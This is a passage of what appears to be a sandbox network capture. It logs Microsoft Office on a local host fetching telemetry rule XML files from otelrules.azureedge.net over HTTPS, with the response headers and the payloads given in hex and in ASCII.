2024-11-20 11:58:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:39 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115839Z-r1d97b99577656nchC1TEBk98c00000008y0000000002w36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:39 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:39 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115839Z-185f5d8b95crl6swhC1NYC3ueg0000000acg0000000051wh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:40 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:40 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115840Z-r1d97b9957747b9jhC1TEBgyec00000008z00000000060cy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:40 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:40 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115840Z-185f5d8b95cqnkdjhC1NYCm8w800000009yg00000000gnqd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:40 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:40 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:40 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 8222e379-801e-008f-078c-3a2c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115840Z-185f5d8b95cdh56ghC1NYCk1x400000003yg00000000dxfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:40 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:40 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115840Z-1777c6cb754xrr98hC1TEB3kag00000009dg000000007038 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:40 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:40 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:40 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:40 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115840Z-185f5d8b95cx9g8lhC1NYCtgvc00000002hg00000000a2rk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:40 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:41 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115841Z-185f5d8b95cmd8vfhC1NYC0g40000000060000000000ev96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:41 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:40 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 06bc2162-901e-0016-6af6-3aefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115841Z-185f5d8b95csd4bwhC1NYCq7dc0000000a1g00000000eemh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:41 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:41 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115841Z-185f5d8b95cdh56ghC1NYCk1x400000003yg00000000dxgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:41 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:41 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:41 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:41 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115841Z-185f5d8b95c96jn4hC1NYCbgp80000000a6g000000008tnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:41 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:41 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
